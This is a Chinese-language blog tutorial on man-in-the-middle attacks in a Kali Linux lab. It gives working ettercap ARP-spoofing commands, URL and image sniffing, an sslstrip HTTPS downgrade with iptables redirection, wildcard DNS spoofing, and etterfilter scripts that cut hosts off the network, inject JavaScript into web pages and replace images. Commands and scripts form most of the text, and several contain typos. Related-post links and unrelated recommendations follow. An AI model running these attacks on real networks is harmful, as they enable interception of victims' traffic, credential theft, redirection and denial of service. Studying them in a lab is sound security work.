中间人攻击(MITM)该攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到如今还具有极大的扩展空间,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式.

主机列表 IP地址 网关地址 主机作用
Windows 10 192.168.1.2/24 192.168.1.1 被害主机
Kali Linux 192.168.1.9/24 192.168.1.1 攻击主机

抓取内网流量

该方法是最常用的一种攻击方式,主要可以实现对内网主机发起ARP欺骗,从而截取内网主机的流量,但该方法只能截获未加密的数据流加密后是无法破解的,以下例子将演示流量抓取与分析.

开启APR欺骗: 首先在kali linux上执行以下命令,开启ARP欺骗.

  1. root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1// -q
  2. -i eth0 #指定网卡接口
  3. -T #文本模式显示
  4. -M #指定为双向ARP欺骗
  5. /192.168.1.2// #为要攻击的IP地址
  6. /192.168.1.1// #本地的网关地址

截取目标RUL: 上面终端不要关闭,启用urlsnarf工具指定主机访问的URL.

  1. root@kali:~# urlsnarf -i eth0 |awk '{print $1 " ---> " $7}'
  2. 192.168.1.2 ---> http://www.mkdirs.com
  3. 192.168.1.2 ---> http://www.baidu.com/
  4. 192.168.1.2 ---> http://www.cnblogs.com/lyshark

截取目标图片: 当然也可以使用driftnet工具截取指定主机的图片流.

  1. root@kali:~# driftnet -i eth0

## HTTPS降级嗅探

对SSL流量的嗅探,可以使用sslstrip这个工具,它的原理就是把所有的https流量降级为http流量,相当于一个中间人的角色,它与服务器建立正常的https连接,而与浏览器则使用http连接,使用时需要本机开启流量转发,将80端口的http流量同时转发到10000端口上,在10000端口上使用sslstrip来监听即可:

1.通过命令收集局域网的IP地址信息,和网关等.

  1. root@kali:~# ifcofing #命令查看当前网关
  2. root@kali:~# netdiscover #获取到当前目标IP

2.开启内核转发功能保证攻击过程中被攻击者不断网.

  1. root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

3.使用iptables把80端口的流量转发到sslstrip监听的10000端口上.

  1. root@kali:~# iptalbes -t nat -F
  2. root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
  3. root@kali:~# iptables -t nat -A PREROUTING -p tcp -–destination-port 80 -j REDIRECT to-ports 10000
  4. root@kali:~# iptables -t nat -L

4.启用sslstrip并启动ettercap对目标主机进行arp攻击.

  1. root@kali:~# sslstrip -l 10000
  2. root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1//

此时当用户浏览的网页中包含https协议,会被转化为http协议的请求.但是sslstrip也不是万能的,假如网页中没有https,但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了.如果用户打开网页的时候请求就是https,会导致证书认证失败,网页一直打不开.

DNS局域网投毒

该配置主要用于实现控制局域网中网络的访问,例如可以指定将所有访问baidu.com的请求转到访问192.168.1.9这台主机上,我们可以在这台主机上配合后门,这样的话所有内网主机都会默认访问我们的网址,从而实现局域网中网站页面的重定向.

1.安装并启动apache服务程序,后期我们要将页面跳转到kali的http服务上.

  1. root@kali:~# echo "hello lyshark" > /var/www/html/index.html
  2. root@kali:~# systemctl restart apache2

2.通过使用netdiscover命令获取到主机信息,这里主要来确定一下192.168.1.1是网关,而192.168.1.2为被攻击主机.

  1. root@kali:~# netdiscover
  2. Currently scanning: 192.168.1.0/24 | Screen View: Unique Hosts
  3. 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
  4. _____________________________________________________________________________
  5. IP At MAC Address Count Len MAC Vendor / Hostname
  6. -----------------------------------------------------------------------------
  7. 192.168.1.1 11:72:se:c7:se:af 1 60 TP-LINK TECHNOLOGIES
  8. 192.168.1.2 ac:3s:ca:xf:g1:w8 1 60 Dell Inc.
  9. 192.168.1.9 f2:1e:28:4e:4c:s4 1 60 kali linux.

3.配置跳转地址,将所有访问.com,.org的网页请求,全部跳转到本机的apache上.

  1. root@kali:~# ifconfig
  2. eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  3. inet 192.168.1.8 netmask 255.255.255.0 broadcast 192.168.1.255 确认自身IP地址
  4. root@kali:~# vim /etc/ettercap/etter.dns
  5. ################################
  6. # microsoft sucks ;)
  7. # redirect it to www.linux.org
  8. #
  9. *.com A 192.168.1.9 #添加跳转页面,意思是只要是.com结尾的,跳转到本机IP
  10. *.org A 192.168.1.9 #添加跳转页面,意思是只要是.com结尾的,跳转到本机IP
  11. microsoft.com A 107.170.40.56
  12. *.microsoft.com A 107.170.40.56
  13. www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed

4.开启转发,并启动中间人攻击,此时被攻击主机访问指定规则页面,都会跳转到我们的网站上.

  1. root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
  2. root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.2// /192.168.1.1// -q
  3. root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /// /192.168.1.1// -q

## 禁止主机上网

1.编写一个过滤脚本,下面的脚本名为lyshark.txt,内容如下.

  1. root@kali:~# vim lyshark.txt
  2. if (ip.src == '默认网关') {
  3. kill();
  4. drop();
  5. msg("kill all");
  6. }
  7. if (ip.src == '被攻击主机IP') {
  8. kill();
  9. drop();
  10. msg("kill all");
  11. }

2.编译成ettercap可以识别的二进制的二进制文件.

  1. root@kali:~# etterfilter lyshark.txt -o lyshark.ef

3.使用ettercap加载此脚本,欺骗全网段可以使用///代表.

  1. ettercap -i eth0 -T -F lyshark.ef -M arp:remote /192.168.1.2// /192.168.1.1// // 欺骗指定主机
  2. ettercap -i eth0 -T -F lyshark.ef -M arp:remote /// /192.168.1.1// // 欺骗全网段

向网页注入代码

该功能可以实现向网页中注入特定的代码.

1.编写一个过滤脚本,下面的脚本名为lyshark.txt,内容如下.

  1. # 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
  2. if (ip.proto == TCP && tcp.dst == 80) {
  3. if (search(DATA.data, "Accept-Encoding")) {
  4. pcre_regex(DATA.data,"(Accept-Encoding:).*([\r\n])","$1 identity$2");
  5. msg("chage encoding");
  6. }
  7. }
  8. # 对于服务器响应,向head中注入js
  9. if (ip.proto == TCP && tcp.src == 80) {
  10. if (search(DATA.data, "<head>")) {
  11. replace("<head>","<head><script>alert('hello lyshark')</script>");
  12. }
  13. }

需要注意,这里要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码.

2.编译成ettercap可以识别的二进制的二进制文件.

  1. root@kali:~# etterfilter lyshark.txt -o lyshark.ef

3.使用ettercap加载此脚本,欺骗全网段可以使用///代表.

  1. ettercap -i eth0 -T -F ig.ef -M ARP:remote -w network.pcap /192.168.1.2// /192.168.1.1//

替换页面数据

1.以下脚本可实现将页面中所有img src=相关的图片全部替换成,指定网址中的图片.

  1. if (ip.proto == TCP && tcp.dst == 80) {
  2. if (search(DATA.data, "Accept-Encoding")) {
  3. replace("Accept-Encoding", "Accept-Rubbish!");
  4. msg("zapped Accept-Encoding!\n");
  5. }
  6. }
  7. if (ip.proto == TCP && tcp.src == 80) {
  8. replace("img src=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
  9. replace("IMG SRC=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
  10. msg("Filter Ran.\n");
  11. }

2.编译这个文件.

  1. etterfilter exe.filter -o exe.ef

3.使用ettercap调用过滤脚本发动ARP攻击毒化目标主机的ARP缓存

  1. ettercap -Tq -i wlan0 -F exe.ef -M arp:remote /192.168.1.9/ /192.168.1.1/

Ettercap 实施中间人攻击的更多相关文章

  1. 如何用Ettercap实现“中间人攻击”(附下载链接)

    什么是“中间人攻击”? 中间人攻击(Man-in-the-Middle Attack,简称“MiTM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在 ...

  2. 中间人攻击之ettercap嗅探

    中间人攻击: 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的 ...

  3. 中间人攻击-ARP毒化

    感谢Heee投递 中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户.仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们.正如字面意思一样,中间人攻 ...

  4. HTTPS中间人攻击实践(原理·实践)

      前言 很早以前看过HTTPS的介绍,并了解过TLS的相关细节,也相信使用HTTPS是相对安全可靠的.直到前段时间在验证https代理通道连接时,搭建了MITM环境,才发现事实并不是我想的那样.由于 ...

  5. MTIM(中间人攻击)

    所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情. 信息篡改 当主机A.和主机B通信时,都由主机C来为其“转发”,如图一,而A.B之间并没有真正意思上的直 ...

  6. Ettercap中间人攻击--介绍

    前言 Ettercap有四种界面:Text,Curses,GTK2,Daemonize. -T      命令行界面,只显示字符.通常与配套的参数有-q(安静模式),加上该选项,则不会显示抓到的数据包 ...

  7. ettercap中间人攻击--参数介绍

    攻击和嗅探  -M,  --mitm ARP欺骗,参数 -M arp remote    # 双向模式,同时欺骗通信双方,-M arp:remote. oneway   #单向模式,只arp欺骗第一个 ...

  8. 中间人攻击工具ettercap

    中间人攻击工具ettercap (一).简介 (二).模块划分 1.Snifer 2.MITM 3.Filter 4.Log 5.Plugin (三).特性 (四).用户操作界面 (五).指定目标 ( ...

  9. 中间人攻击(MITM)姿势总结

    相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...

随机推荐

  1. 通过decorators = [,] 的形式给类中的所有方法添加装饰器

    给类添加装饰器有多种方法: 1.可以在类中的某个方法上边直接@添加,这个粒度细.无需详细介绍 2.也可以在类中通过 decorators=[, ]的形式添加,这样的话,类中的所有方法都会被一次性加上装 ...

  2. Java几种常用JSON库性能比较

    本篇通过JMH来测试一下Java中几种常见的JSON解析库的性能. 每次都在网上看到别人说什么某某库性能是如何如何的好,碾压其他的库.但是百闻不如一见,只有自己亲手测试过的才是最值得相信的. JSON ...

  3. nginx访问502 gateway,*1 connect() failed (111: Connection refused) while connecting to upstream

    安装好nginx,php环境后,配置虚拟主机,结果访问后就报502 gateway,查看日志文件后,显示错误如下: 2019/04/29 16:24:39 [error] 19433#19433: * ...

  4. 解决代理池的问题AttributeError: 'int' object has no attribute 'items'

    https://blog.csdn.net/mygodit/article/details/86689127

  5. Layui 写一个简单的后台页面

    参考如下: 1.layui 官方文档 http://www.layui.com/doc/ 2.https://blog.csdn.net/huyanliang/article/details/7796 ...

  6. optional的使用

    :first-child { margin-top: 0px; } .markdown-preview:not([data-use-github-style]) h1, .markdown-previ ...

  7. python 数据可视化 -- 真实数据的噪声平滑处理

    平滑数据噪声的一个简单朴素的做法是,对窗口(样本)求平均,然后仅仅绘制出给定窗口的平均值,而不是所有的数据点. import matplotlib.pyplot as plt import numpy ...

  8. idea在debugger模式下无法启动,但是在run模式下可以启动的问题

    debugger模式下,启动idea,总是报内存溢出异常, Error creating bean with name 'sysRoleUserMapper' defined in URL [jar: ...

  9. 2019-1-18 Spark 机器学习

    2019-1-18 Spark 机器学习 机器学习 模MLib板 预测 //有视频 后续会补充 1547822490122.jpg 1547822525716.jpg 1547822330358.jp ...

  10. 论Activity的转换

    论Activity的互相转换 这次任务是实现 1.在主屏幕输入自己的姓名,单击评估按钮 2.进入第二个界面,并将主屏幕输入的姓名传递给第二个界面 3.在第二个界面进行问题回答: 4.第二个界面的回答结 ...